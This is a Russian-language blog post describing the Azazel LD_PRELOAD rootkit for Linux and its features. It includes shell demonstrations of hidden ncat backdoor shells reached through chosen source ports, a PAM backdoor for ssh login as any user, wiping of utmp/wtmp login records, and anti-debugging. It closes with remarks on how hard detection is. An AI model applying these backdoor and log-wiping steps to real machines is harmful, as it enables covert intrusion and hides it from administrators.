Возможно вы слышали про руткиты Jynx и Jynx2. Это так называемые userland-руткиты, они используют возможность переменной LD_PRELOAD, которая позволяет подгружать любые библиотеки до того, как будет запущена программа. Они уже относительно старые, но все еще хорошо работают.
2 дня назад, Github-пользователь Chokepoint выложил rootkit Azazel. Он основан на исходном коде Jynx и имеет много новых фич:
- Антиотладочные механизмы
- Скрытие от unhide, lsof, ps, ldd
- Скрытие файлов и директорий
- Скрытие удаленных подключений
- Скрытие процессов
- Скрытие логинов
- Скрытие от локального сниффинга трафика через PCAP
- 2 бекдора с полноценными шеллами (с PTY):
- — Crypthook accept()-бекдор
- — Обычный accept()-бекдор
- PAM-бекдор для аутентификации под любым пользователем
- Очистка логов utmp/wtmp для PTY
- Обфускация строк скомпилированной библиотеки через xor.
Давайте рассмотрим их подробно.
Скрытие портов
Azazel умеет скрываться от программ вроде netstat, ss, lsof. Скрывает он подключения с определенными диапазонами портов, назначенных при конфигурации. По умолчанию, порты 61040 — 61050 используются для plaintext-бекдора, а 61051 — 61060 — для Crypthook (это такая библиотека, которая перехватывает send/sendto/recv/recvfrom и шифрует/расшифровывает на лету). Для того, чтобы соединение было скрыто, под этот диапазон должен попасть source port, таким образом, можно подключаться удаленно с любого компьютера, достаточно задать source port из диапазона:
$ ncat target 22 -p 61040
changeme
Welcome!
Here's a shell.
root@host:/root #
$ LD_PRELOAD=./crypthook.so ncat localhost 22 -p 61051
changeme
Welcome!
Here's a shell.
root@host:/root/ #
PAM-бекдор
Пожалуй, самая интересная функция. Как вы можете знать, большое количество современных программ используют PAM для аутентификации пользователей. Таким образом, если мы сможем манипулировать PAM-аутентификацией, мы сможем авторизироваться под любым пользователем в системе. Azazel не реализовывает свой PAM-модуль, а перехватывает действующие.
$ make client
$ LD_PRELOAD=./client.so ssh rootme@localhost
root@host:/ #
$ su - rootme
#
Очистка wtmp/utmp
Когда вы логинитесь в PTY, файлы wtmp и utmp используются для сохранения состояния пользователя и логгирования входов/выходов. Azazel может их подчищать как автоматически, в случае с порт-бекдором, так и вручную, когда автоматическая очистка невозможна (например, если вы подключились через PAM-бекдор к ssh).
$ w | grep pts/16
root pts/16 :0.0 Wed16 2:33m 0.16s 0.16s bash
$ CLEANUP_LOGS="pts/16" ls
utmp logs cleaned up.
wtmp logs cleaned up.
$ w | grep pts/16
$
Антиотладка
Ну, тут ничего нет интересного. Перехватывается ptrace() и возвращается -1.
$ strace -p $PPID
Don't scratch the walls
Скрытие файлов и директорий
Еще Jynx умел скрывать любые файлы, принадлежащие определенному UID или GID. Вы можете открывать, читать и записывать в такие файлы, но при выводе листинга директории вы их не увидите.
Скрытие процессов
Azazel скрывает процессы, принадлежащие определенному GID или UID, как и файлы. Но иногда нужно же как-то увидеть скрытые файлы и процессы, для этого можно использовать переменную, по умолчанию HIDE_THIS_SHELL
$ env HIDE_THIS_SHELL=plz ncat -l -p 61061
Скрытие от ldd/unhide
Azazel может скрываться от ldd и unhide, просто не внедряясь в них. Это, конечно, неинтересный, но достаточно эффективный метод.
Обфускация строк
Если бы мы посмотрели строки у библиотек Jynx и Jynx2, например, через strings, мы бы наверняка поняли, что это какая-то нехорошая библиотека, однако Azazel просто XOR-ит все свои строки, и strings ничего вменяемого не покажет.
Защититься от такого типа руткитов достаточно проблематично. Их не видно через утилиты вроде rkhunter и chkrootkit. В данный момент, есть один способ проверки на перехват функций, но, чисто теоретически, вполне можно перехватить функции из самого libdl.so, и тогда ничто, кроме LiveCD и мозгов, не поможет.
Берегите свои машины.
Автор: ValdikSS